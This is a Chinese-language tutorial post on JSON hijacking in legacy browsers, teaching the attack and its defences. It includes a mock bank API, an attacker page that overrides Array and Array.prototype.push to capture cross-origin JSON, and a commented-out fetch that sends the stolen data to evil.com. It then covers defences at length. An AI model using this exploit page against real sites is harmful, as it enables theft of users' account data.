JSON 劫持(JSON Hijacking):利用旧版浏览器漏洞读取跨域 JSON 数据

各位开发者、安全爱好者们,大家好!

今天,我们将深入探讨一个在Web安全领域曾引起广泛关注,并对现代Web API设计产生深远影响的古老而经典的漏洞——JSON劫持(JSON Hijacking)。虽然随着浏览器技术和Web安全标准的演进,其直接威胁已大大降低,但理解其原理,对于我们认识Web安全防护的本质、掌握防御性编程思想,以及应对可能出现的变种攻击,仍然至关重要。

我们将以一场技术讲座的形式,逐步揭开JSON劫持的神秘面纱,从其工作原理、攻击手法、到详细的代码演示,再到行之有效的防御策略。

一、 JSON劫持:历史的回响与核心思想

在Web 2.0时代,JSON(JavaScript Object Notation)作为一种轻量级的数据交换格式,因其简洁性和与JavaScript的天然契合,迅速取代XML成为主流。它不仅用于前端与后端的数据传输,也常被第三方服务作为API的返回格式。然而,正是这种“天然契合”——JSON本质上就是JavaScript代码的一种子集——在某些历史背景下,催生了JSON劫持的可能。

JSON劫持的核心思想在于:攻击者利用浏览器在特定场景下对跨域<script>标签加载内容的宽松处理,以及JavaScript语言本身的特性,诱导受害用户的浏览器加载并执行一个包含敏感JSON数据的跨域URL,并通过恶意代码“劫持”这些数据。

想象一下:你登录了一个银行网站,你的浏览器保存着你的会话凭证(Cookie)。此时,你又不小心访问了一个恶意网站。这个恶意网站可能会偷偷地向银行网站的某个API发送请求,而由于你的浏览器会自动携带银行网站的Cookie,银行网站会认为这是一个合法的请求,并返回包含你账户信息(以JSON格式)的数据。在现代浏览器和标准下,这些数据通常无法被恶意网站直接读取。但JSON劫持,正是那个“曾经”的例外。

二、 脆弱的基石:旧版浏览器与JavaScript数组构造器

要理解JSON劫持,我们首先需要回顾两个关键点:

  1. <script>标签的跨域能力:Web浏览器的同源策略(Same-Origin Policy, SOP)是Web安全的核心基石,它限制了不同源的文档或脚本对彼此资源的访问。然而,SOP对某些HTML标签(如<img><link><script>)的资源加载行为是放宽的。这意味着,一个页面可以自由地通过<script src="https://other-domain.com/data.js"></script>加载来自任何域的JavaScript文件。加载后,这些JavaScript代码会在当前页面的上下文中执行。

  2. JSON的语法特性与JavaScript的执行环境

    • JSON对象 { "key": "value" } 在JavaScript中是一个对象字面量,但如果它作为独立语句出现,会被解析为一个代码块,不会直接暴露其内部值。
    • JSON数组 [ "item1", "item2" ] 在JavaScript中是一个数组字面量。在旧版浏览器中,当通过<script>标签加载一个以 [ 开头的JSON数组时,浏览器会将其视为有效的JavaScript代码,并尝试执行它,即构造一个数组。

正是第二点,成为了JSON劫持的突破口。攻击者可以在<script>标签加载受害网站的敏感JSON数据之前,重写(劫持)JavaScript内置的Array构造函数或Array.prototype上的方法。当浏览器加载并尝试“执行”这个JSON数组时,攻击者重写的函数就会被调用,从而捕获到数组中的敏感数据。

2.1 JavaScript数组构造器的劫持原理

在JavaScript中,当我们写 var arr = [1, 2, 3]; 时,实际上等同于 var arr = new Array(1, 2, 3);(虽然两者在一些细节上有所不同,但对于旧版浏览器处理JSON数组而言,这种等价性是关键)。

因此,如果攻击者能够做到:

  1. 在加载跨域JSON数组前,将 window.Array 对象替换为自己的恶意函数。
  2. 当浏览器解析JSON数组时,调用这个被劫持的 Array 函数,并将JSON数组的元素作为参数传递给它。

那么,攻击者就能在自己的恶意函数中,直接获取到这些敏感数据。

更进一步的,有些劫持技术还会通过重写 Array.prototype.push 或定义数组索引的 setter 属性来捕获数据。因为即使 Array 构造函数本身不被直接调用,数组的元素也可能在内部通过 push 方法或直接赋值给索引来填充。

三、 攻击场景:一步步演示JSON劫持

为了更具体地说明JSON劫持,我们来构建一个假设的攻击场景:

场景设定:

  • 受害者网站 (Victim Domain): https://bank.example.com
    • 用户在该网站登录,浏览器中存有会话Cookie。
    • 提供一个API接口 /api/transactions,用于获取用户的交易记录。该接口返回一个JSON数组,包含敏感的交易数据。
    • 示例数据:
      [
        { "id": "TXN001", "amount": 100.50, "currency": "USD", "description": "Online Purchase", "date": "2023-01-15" },
        { "id": "TXN002", "amount": 25.00, "currency": "USD", "description": "Coffee Shop", "date": "2023-01-16" },
        { "id": "TXN003", "amount": 500.00, "currency": "USD", "description": "Salary Deposit", "date": "2023-01-20" }
      ]
  • 攻击者网站 (Attacker Domain): https://evil.com
    • 攻击者在此网站上部署恶意HTML页面,诱骗受害者访问。

攻击步骤:

  1. 用户登录 bank.example.com:用户正常登录银行网站,浏览器获取到会话Cookie。
  2. 用户访问 evil.com:用户不小心点击了钓鱼链接,访问了攻击者网站 https://evil.com/malicious.html
  3. 攻击者页面执行劫持代码
    • malicious.html 页面首先执行JavaScript代码,重写 Array 构造函数或 Array.prototype 上的关键方法。
    • 然后,malicious.html 页面通过 <script> 标签加载 https://bank.example.com/api/transactions
  4. 浏览器行为
    • 当浏览器请求 https://bank.example.com/api/transactions 时,会自动携带 bank.example.com 的会话Cookie。
    • bank.example.com 识别用户身份,返回包含敏感交易数据的JSON数组。
    • 旧版浏览器接收到这个以 [ 开头的响应体后,将其视为JavaScript代码,并尝试在 evil.com 的上下文中执行它,触发被攻击者重写的 Array 构造函数或方法。
  5. 数据被劫持:攻击者重写的函数捕获到这些交易数据,并可以将其发送到攻击者的服务器。

四、 深入代码:攻击者的Payload

我们来详细看看攻击者 https://evil.com/malicious.html 页面中的代码是如何工作的。

4.1 模拟受害者API (后端)

为了便于演示,我们先用Node.js/Express模拟一个 bank.example.com 上的敏感API。

bank.example.com (模拟服务器端代码):

// server.js (运行在端口 3000,模拟 bank.example.com)
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
const port = 3000;

app.use(cookieParser());

// 简单的认证中间件
const authenticate = (req, res, next) => {
    // 假设通过一个名为 'session_id' 的 cookie 进行认证
    if (req.cookies && req.cookies.session_id === 'user_session_abc123') {
        req.user = { id: 'user123', username: 'Alice' };
        next();
    } else {
        res.status(401).send('Unauthorized: Please log in to bank.example.com first.');
    }
};

// 模拟登录接口 (设置 cookie)
app.get('/login', (req, res) => {
    res.cookie('session_id', 'user_session_abc123', {
        domain: 'localhost', // 注意:实际场景中应为 bank.example.com
        httpOnly: true,
        secure: false, // 实际场景中应为 true
        maxAge: 3600000 // 1 hour
    });
    res.send('Logged in successfully! Now try visiting the malicious site.');
});

// 敏感交易记录API
app.get('/api/transactions', authenticate, (req, res) => {
    const transactions = [
        { "id": "TXN001", "amount": 100.50, "currency": "USD", "description": "Online Purchase", "date": "2023-01-15" },
        { "id": "TXN002", "amount": 25.00, "currency": "USD", "description": "Coffee Shop", "date": "2023-01-16" },
        { "id": "TXN003", "amount": 500.00, "currency": "USD", "description": "Salary Deposit", "date": "2023-01-20" }
    ];
    // 实际情况下,Content-Type 应该是 application/json
    res.setHeader('Content-Type', 'application/json');
    res.send(JSON.stringify(transactions));
});

// 为了 CORS 演示,允许跨域访问(但JSON劫持不依赖CORS)
app.use((req, res, next) => {
    res.header('Access-Control-Allow-Origin', '*'); // 实际中应限制特定来源
    res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept');
    next();
});

app.listen(port, () => {
    console.log(`Victim Bank Server running at http://localhost:${port}`);
    console.log(`Visit http://localhost:${port}/login to set cookie.`);
    console.log(`Then visit http://localhost:${port}/api/transactions to check data with cookie.`);
    console.log(`Finally, visit attacker's site (e.g., http://localhost:8080/malicious.html)`);
});

运行此服务器:

  1. 安装依赖:npm init -y && npm install express cookie-parser
  2. 运行:node server.js
  3. 在浏览器中访问 http://localhost:3000/login 来设置会话Cookie。
  4. 然后访问 http://localhost:3000/api/transactions 确认你能看到JSON数据。

4.2 攻击者页面 (前端)

evil.com (模拟前端代码 – malicious.html):

<!DOCTYPE html>
<html>
<head>
    <title>JSON Hijacking Exploit - Attacker's Page</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        pre { background-color: #eee; padding: 10px; border: 1px solid #ccc; white-space: pre-wrap; word-break: break-all; }
    </style>
</head>
<body>
    <h1>JSON Hijacking Demonstration</h1>
    <p>This page is attempting to hijack your sensitive transaction data from bank.example.com.</p>
    <p>Please ensure you are logged into <a href="http://localhost:3000/login" target="_blank">bank.example.com</a> first, then refresh this page.</p>
    <p>Check your browser's **console (F12)** for the extracted data!</p>

    <div id="captured-data">
        <h2>Captured Data:</h2>
        <pre id="data-output">Waiting for data...</pre>
    </div>

    <script>
        // 这是一个用于存储被劫持数据的数组
        const hijackedDataStore = [];

        // -----------------------------------------------------------
        // 攻击核心:劫持 Array 构造函数和 Array.prototype.push 方法
        // -----------------------------------------------------------

        // 1. 劫持 Array 构造函数 (适用于旧版浏览器直接调用 Array 构造器的情况)
        // 某些旧版浏览器在解析 `[...]` 时,可能会直接调用 `new Array(item1, item2, ...)`
        const OriginalArray = window.Array; // 保存原始的 Array 构造函数

        window.Array = function() {
            console.warn("ATTACKER: Array constructor has been called!");
            console.log("ATTACKER: Arguments passed to Array constructor:", arguments);

            // 将所有传入构造函数的参数(即JSON数组的元素)存入我们的劫持数据存储
            for (let i = 0; i < arguments.length; i++) {
                hijackedDataStore.push(arguments[i]);
            }

            // 为了不完全破坏页面功能,我们仍调用原始的 Array 构造函数并返回其结果
            // 但在实际攻击中,这一步可能不是必需的,或有更复杂的处理
            return OriginalArray.apply(this, arguments);
        };

        // 2. 劫持 Array.prototype.push (更常见和通用的劫持方法)
        // 许多浏览器即使不直接调用 Array 构造函数,也会在内部使用 push 方法来填充数组元素
        const originalPush = Array.prototype.push; // 保存原始的 push 方法

        Array.prototype.push = function() {
            console.warn("ATTACKER: Array.prototype.push has been called!");
            console.log("ATTACKER: Arguments pushed:", arguments);

            // 将所有被 push 的参数(即JSON数组的元素)存入我们的劫持数据存储
            for (let i = 0; i < arguments.length; i++) {
                hijackedDataStore.push(arguments[i]);
            }

            // 调用原始的 push 方法,确保数组正常构建,以免触发脚本错误
            return originalPush.apply(this, arguments);
        };

        // -----------------------------------------------------------
        // 加载受害者网站的敏感JSON数据
        // -----------------------------------------------------------
        // 注意:这里的 src 路径要指向你运行的 bank.example.com 服务器
        // 在本地测试时,通常是 http://localhost:3000
    </script>
    <script src="http://localhost:3000/api/transactions"></script>
    <script>
        // -----------------------------------------------------------
        // 攻击后处理:数据外发
        // -----------------------------------------------------------
        // 在受害者JSON数据加载并执行完毕后,我们的 hijackedDataStore 应该已经填充了数据。
        // 由于 <script> 标签是异步加载的,我们不能保证此处的代码在 JSON 加载前执行。
        // 为了确保在数据被捕获后处理,通常会使用 setTimeout 或在更复杂的场景中利用事件监听。
        // 但对于演示目的,简单地在加载脚本后立即检查是可行的,因为在旧版浏览器中,
        // 脚本执行是同步的,或者说 Array/push 的劫持发生在脚本加载之前。

        setTimeout(() => {
            console.log("ATTACKER: JSON Hijacking attempt finished.");
            console.log("ATTACKER: Final Hijacked Data:", hijackedDataStore);

            const outputDiv = document.getElementById('data-output');
            if (hijackedDataStore.length > 0) {
                outputDiv.textContent = JSON.stringify(hijackedDataStore, null, 2);
                // 实际攻击中,攻击者会将数据发送到自己的服务器
                // fetch('https://evil.com/data_receiver', {
                //     method: 'POST',
                //     headers: { 'Content-Type': 'application/json' },
                //     body: JSON.stringify({ victimData: hijackedDataStore })
                // });
                // console.log("ATTACKER: Data sent to attacker's server (simulated).");
            } else {
                outputDiv.textContent = "No data captured. This might be due to modern browser protections or incorrect setup.";
            }

            // 恢复原始的 Array 构造函数和 push 方法 (可选,为了不影响页面后续功能)
            window.Array = OriginalArray;
            Array.prototype.push = originalPush;
            console.log("ATTACKER: Original Array constructor and push method restored.");
        }, 100); // 稍作延迟,确保脚本执行完毕
    </script>
</body>
</html>

运行此攻击页面:

  1. 将上述HTML保存为 malicious.html
  2. 通过一个本地Web服务器(例如,使用VS Code的Live Server插件,或Python的 http.serverpython -m http.server 8080)运行它。
  3. 确保 bank.example.com 服务器(Node.js)也在运行。
  4. 首先访问 http://localhost:3000/login 登录。
  5. 然后访问 http://localhost:8080/malicious.html (或你的Web服务器地址)。
  6. 打开浏览器开发者工具 (F12),查看控制台输出。你会看到 ATTACKER 相关的日志,以及被劫持的交易数据。

注意:

  • 在现代浏览器中,由于对 <script> 标签加载的跨域JSON数组有更严格的处理,直接运行此代码可能不会成功劫持数据。浏览器可能会抛出语法错误,或者根本不会触发 Array 构造函数/push 方法的劫持。
  • 要真正复现此漏洞,你需要使用像IE6、Firefox 2、Safari 2等非常旧的浏览器版本。尽管如此,上述代码仍然清晰地展示了攻击原理。

4.3 攻击原理表格总结

攻击方 (evil.com) 受害方 (bank.example.com) 浏览器行为 (旧版浏览器)
1. 用户访问 evil.com/malicious.html 浏览器加载 malicious.html
2. malicious.html 执行 JS 代码重写 Array 构造函数和 Array.prototype.push Array 构造函数和 push 方法被替换为攻击者定义的恶意函数
3. malicious.html 页面中包含 <script src="https://bank.example.com/api/transactions"></script> 浏览器向 https://bank.example.com/api/transactions 发送请求
bank.example.com 收到请求,因自动携带的会话Cookie而认证成功 浏览器自动附加 bank.example.com 的会话Cookie
bank.example.com 返回敏感JSON数组 [...] 浏览器接收响应,发现它以 [ 开头
浏览器将其视为 JavaScript 数组字面量,尝试在 evil.com 上下文执行
4. 被重写的 Array 构造函数或 push 方法被调用,参数为 JSON 数组的元素 攻击者定义的恶意函数被触发,捕获到 JSON 数据
5. 攻击者将捕获到的数据发送回 evil.com 服务器

五、 为什么它能工作:同源策略的“例外”与执行上下文

JSON劫持之所以能够成功,是利用了同源策略的一个特定“盲点”:

  • 同源策略的限制:SOP 严格限制了不同源的 JavaScript 脚本对彼此 DOM、Cookie、LocalStorage 或通过 XHR/Fetch 请求获取到的响应内容的直接访问。例如,evil.com 无法通过 XMLHttpRequest 直接读取 bank.example.com/api/transactions 响应,因为那会触发 CORS 错误(除非 bank.example.com 明确允许 evil.com 跨域访问)。

  • <script> 标签的例外<script> 标签是一个历史遗留的例外。它被允许加载来自任何源的脚本。当 <script src="..."> 加载一个脚本时,脚本的内容会在当前页面的上下文(即 evil.com 的上下文)中执行。浏览器并不会检查加载的内容是否真的是 JavaScript,或者它的 Content-Type 是否是 application/javascript。只要它看起来像可执行的JavaScript,浏览器就会尝试执行它。

  • 认证信息的自动发送:当 <script> 标签请求 https://bank.example.com/api/transactions 时,浏览器会像处理普通导航请求一样,自动将与 bank.example.com 关联的所有Cookie(包括会话Cookie)发送过去。这意味着,即使请求是由 evil.com 发起的,bank.example.com 也会认为这是一个经过认证的、来自合法用户的请求,并返回敏感数据。

综合这三点,就形成了JSON劫持的攻击链:攻击者利用 <script> 标签绕过同源策略对 加载 的限制,利用 Cookie 机制绕过同源策略对 认证 的限制,再利用旧版浏览器对以 [ 开头的响应体进行 执行 的行为,最终在自己的页面上下文中获取到受害网站的敏感数据。

六、 防御策略:从根本上消除风险

JSON劫持的危害促使Web安全社区和浏览器厂商采取了多重防御措施。虽然现代浏览器已基本修复了这类直接的漏洞,但理解这些防御策略对于构建健壮的Web应用仍然至关重要。

6.1 现代浏览器对JSON劫持的修复

现代浏览器(如Chrome、Firefox、Edge等)已经不再允许通过 <script> 标签加载的跨域资源,如果其 Content-Type 明确指示为 application/json 且内容是JSON数组时,将其作为可执行的JavaScript数组字面量来处理。它们会抛出语法错误,或者根本不执行。这从根本上堵住了JSON劫持的漏洞。

尽管如此,我们不能完全依赖浏览器更新,尤其是在面对一些遗留系统或特定环境时。因此,服务器端的主动防御仍然是最佳实践。

6.2 服务器端主动防御措施

以下是几种行之有效的服务器端防御策略:

  1. JSON前缀(JSON Vulnerability Protection – JSONV)

    • 原理: 在返回的JSON数据前添加一些非法的JavaScript前缀,使其不再是有效的JavaScript数组字面量,从而阻止浏览器将其作为可执行代码处理。当合法的客户端(通过XHR/Fetch)接收到数据时,可以简单地移除这个前缀。
    • 常见前缀:
      • while(1);:创建一个无限循环,阻止后续的JSON数组被解析。
      • for(;;);:与 while(1); 类似,创建无限循环。
      • )]}',n:一个常见的非JS语法前缀,由Google在AngularJS中推广。
    • 优点: 简单有效,对合法客户端影响小。
    • 缺点: 客户端需要额外处理(移除前缀)。
    表格:JSON前缀示例 原始敏感JSON数组 添加 while(1); 前缀后的响应
    [{"id": "TXN001", "amount": 100.50}] while(1);[{"id": "TXN001", "amount": 100.50}]
    原始敏感JSON数组 添加 )]}',n 前缀后的响应
    :————————————- :—————————————————-
    [{"id": "TXN001", "amount": 100.50}] )]}',n[{"id": "TXN001", "amount": 100.50}]
  2. 返回JSON对象 {...} 而非JSON数组 [...] 作为顶层结构

    • 原理: 如果API返回的顶层JSON是一个对象(即以 { 开头),例如 {"data": [...]},那么当它通过 <script> 标签加载时,会被浏览器解析为JavaScript的一个块语句(Block Statement),而不是一个可执行的表达式。块语句 { ... } 在JavaScript中是合法的,但它不会直接执行任何赋值操作,也不会触发 Array 构造函数或 push 方法,因此攻击者无法直接劫持数据。
    • 优点: 非常简单且有效,无需客户端做额外处理。
    • 缺点: 需要调整API设计,如果API必须返回数组作为顶层结构,则不适用。
    表格:JSON对象作为顶层结构示例 原始敏感JSON数组 修改为顶层JSON对象后的响应
    [{"id": "TXN001", "amount": 100.50}] {"transactions": [{"id": "TXN001", "amount": 100.50}], "count": 1}
  3. 使用 Content-Type: application/json 和严格的 X-Content-Type-Options: nosniff

    • 原理: 尽管在旧版浏览器中,<script> 标签可能会忽略 Content-Type,但设置正确的 Content-Type 仍然是最佳实践,它能帮助现代浏览器进行更严格的MIME类型检查。X-Content-Type-Options: nosniff HTTP头可以指示浏览器不要“嗅探”MIME类型,而是严格按照 Content-Type 头来处理响应。这有助于防止浏览器将JSON响应误判为JavaScript。
    • 优点: 标准实践,增强整体安全性。
    • 缺点: 对于旧版浏览器中的JSON劫持,效果有限。
  4. 使用CSRF Token(针对写操作,辅助防御)

    • 原理: JSON劫持主要关注的是 读取 敏感数据。而CSRF(Cross-Site Request Forgery)是关于 执行 敏感操作(如转账、修改密码)。尽管两者是不同的漏洞,但API通常需要同时防御这两种攻击。CSRF Token可以确保所有敏感的写操作请求都必须包含一个由服务器生成的、不可预测的令牌,从而阻止攻击者伪造请求。
    • 优点: 增强了API的写操作安全性。
    • 缺点: 无法直接阻止JSON劫持(数据读取)。
  5. 严格的CORS策略(针对XHR/Fetch,辅助防御)

    • 原理: 对于需要跨域访问的API,应配置严格的CORS(Cross-Origin Resource Sharing)策略,只允许受信任的源进行跨域请求。虽然JSON劫持不依赖于XHR/Fetch,但安全的CORS配置是整体API安全的一部分。
    • 优点: 增强了通过XHR/Fetch方式访问API的安全性。
    • 缺点: 无法直接阻止基于 <script> 标签的JSON劫持。

6.3 防御代码示例 (Node.js/Express)

// server.js (包含防御措施的模拟服务器端代码)
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
const port = 3000;

app.use(cookieParser());

const authenticate = (req, res, next) => {
    if (req.cookies && req.cookies.session_id === 'user_session_abc123') {
        req.user = { id: 'user123', username: 'Alice' };
        next();
    } else {
        res.status(401).send('Unauthorized: Please log in to bank.example.com first.');
    }
};

app.get('/login', (req, res) => {
    res.cookie('session_id', 'user_session_abc123', {
        domain: 'localhost',
        httpOnly: true,
        secure: false,
        maxAge: 3600000
    });
    res.send('Logged in successfully!');
});

// 1. 防御:使用 JSON 前缀
app.get('/api/transactions_prefixed', authenticate, (req, res) => {
    const transactions = [
        { "id": "TXN001", "amount": 100.50, "currency": "USD", "description": "Online Purchase", "date": "2023-01-15" }
    ];
    res.setHeader('Content-Type', 'application/json');
    // 添加 while(1); 前缀
    res.send('while(1);' + JSON.stringify(transactions));
    console.log('Serving /api/transactions_prefixed with JSON prefix.');
});

// 2. 防御:返回 JSON 对象作为顶层结构
app.get('/api/transactions_object', authenticate, (req, res) => {
    const transactions = [
        { "id": "TXN001", "amount": 100.50, "currency": "USD", "description": "Online Purchase", "date": "2023-01-15" }
    ];
    // 将数组包装在一个对象中
    const responseData = {
        status: 'success',
        data: transactions,
        timestamp: new Date().toISOString()
    };
    res.json(responseData); // Express 的 res.json() 会自动设置 Content-Type: application/json
    console.log('Serving /api/transactions_object as top-level object.');
});

// 3. 始终设置 Content-Type 和 X-Content-Type-Options
app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff'); // 重要的安全头
    next();
});

app.listen(port, () => {
    console.log(`Victim Bank Server running at http://localhost:${port}`);
    console.log(`Visit http://localhost:${port}/login to set cookie.`);
    console.log(`Try to hijack: http://localhost:8080/malicious.html`);
    console.log(`Try to hijack (prefixed): http://localhost:8080/malicious_prefixed_attempt.html`);
    console.log(`Try to hijack (object): http://localhost:8080/malicious_object_attempt.html`);
});

malicious_prefixed_attempt.html (尝试劫持带前缀的JSON):

<!DOCTYPE html>
<html>
<head>
    <title>JSON Hijacking Exploit - Prefixed Attempt</title>
</head>
<body>
    <h1>JSON Hijacking Demonstration - Attempting to hijack prefixed JSON</h1>
    <p>This page attempts to hijack prefixed JSON. Check console for behavior. It should enter an infinite loop.</p>
    <script>
        const hijackedDataStore = [];
        const OriginalArray = window.Array;
        const originalPush = Array.prototype.push;

        window.Array = function() {
            console.warn("ATTACKER (Prefixed): Array constructor has been called!");
            for (let i = 0; i < arguments.length; i++) {
                hijackedDataStore.push(arguments[i]);
            }
            return OriginalArray.apply(this, arguments);
        };

        Array.prototype.push = function() {
            console.warn("ATTACKER (Prefixed): Array.prototype.push has been called!");
            for (let i = 0; i < arguments.length; i++) {
                hijackedDataStore.push(arguments[i]);
            }
            return originalPush.apply(this, arguments);
        };
    </script>
    <!-- 加载带 while(1); 前缀的 JSON -->
    <script src="http://localhost:3000/api/transactions_prefixed"></script>
    <script>
        // 这段代码很可能不会被执行,因为前面的 while(1); 会导致无限循环
        setTimeout(() => {
            console.log("ATTACKER (Prefixed): JSON Hijacking attempt finished.");
            console.log("ATTACKER (Prefixed): Final Hijacked Data:", hijackedDataStore);
        }, 500);
    </script>
</body>
</html>

结果: 当加载 transactions_prefixed 时,浏览器会执行 while(1); 导致脚本进入无限循环,页面卡死,后续脚本无法执行,数据无法被劫持。

malicious_object_attempt.html (尝试劫持顶层为对象的JSON):

<!DOCTYPE html>
<html>
<head>
    <title>JSON Hijacking Exploit - Object Attempt</title>
</head>
<body>
    <h1>JSON Hijacking Demonstration - Attempting to hijack object JSON</h1>
    <p>This page attempts to hijack object JSON. Check console for behavior. No Array constructor/push should be called.</p>
    <script>
        const hijackedDataStore = [];
        const OriginalArray = window.Array;
        const originalPush = Array.prototype.push;

        window.Array = function() {
            console.warn("ATTACKER (Object): Array constructor has been called!");
            for (let i = 0; i < arguments.length; i++) {
                hijackedDataStore.push(arguments[i]);
            }
            return OriginalArray.apply(this, arguments);
        };

        Array.prototype.push = function() {
            console.warn("ATTACKER (Object): Array.prototype.push has been called!");
            for (let i = 0; i < arguments.length; i++) {
                hijackedDataStore.push(arguments[i]);
            }
            return originalPush.apply(this, arguments);
        };
    </script>
    <!-- 加载顶层为对象的 JSON -->
    <script src="http://localhost:3000/api/transactions_object"></script>
    <script>
        setTimeout(() => {
            console.log("ATTACKER (Object): JSON Hijacking attempt finished.");
            console.log("ATTACKER (Object): Final Hijacked Data:", hijackedDataStore);
            if (hijackedDataStore.length === 0) {
                console.log("ATTACKER (Object): Successfully prevented hijacking by returning a top-level object.");
            }
        }, 500);
    </script>
</body>
</html>

结果: 当加载 transactions_object 时,浏览器会将其解析为 { status: 'success', data: [...], ... } 这样的块语句。这并不会触发 Array 构造函数或 push 方法的调用,因此 hijackedDataStore 将保持为空,数据无法被劫持。

七、 历史与启发:理解Web安全演进

JSON劫持是一个典型的Web安全漏洞,它在Web发展早期出现,并随着技术进步和安全意识的提高而逐渐被修复和防御。

  • 历史意义: 它揭示了在Web标准和浏览器实现不完善时期,数据与代码边界模糊的危险性。也正是这类漏洞,促使浏览器厂商加强了对跨域资源加载的MIME类型检查和内容执行策略。
  • 现代启示: 尽管直接的JSON劫持已不常见,但其原理——利用同源策略的“例外”、认证信息的自动发送、以及数据被误判为代码执行——仍然是理解许多Web攻击(如CSRF、部分XSS、Clickjacking等)的基础。它提醒我们,在设计API和Web应用时,必须始终警惕数据被错误地解释或处理的可能性。防御性编程、最小权限原则、以及深度防御(Defense in Depth)是永恒的安全真理。

八、 展望:持续关注Web安全动态

JSON劫持的故事虽然告一段落,但Web安全领域的挑战从未停止。新的技术、新的交互模式不断涌现,随之而来的也可能是新的安全风险。作为开发者和安全专家,我们需要:

  • 持续学习和关注: 了解最新的Web安全标准、漏洞报告和防御技术。
  • 实践安全编码: 将安全视为开发过程中的一部分,而非事后修补。
  • 审慎评估风险: 即使是“旧”的漏洞,在特定遗留系统或非标准环境下,也可能卷土重来。

希望通过今天的讲座,大家对JSON劫持有了深刻的理解,并能将这些安全知识应用到日常的Web开发实践中,共同构建一个更安全、更健壮的互联网世界。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注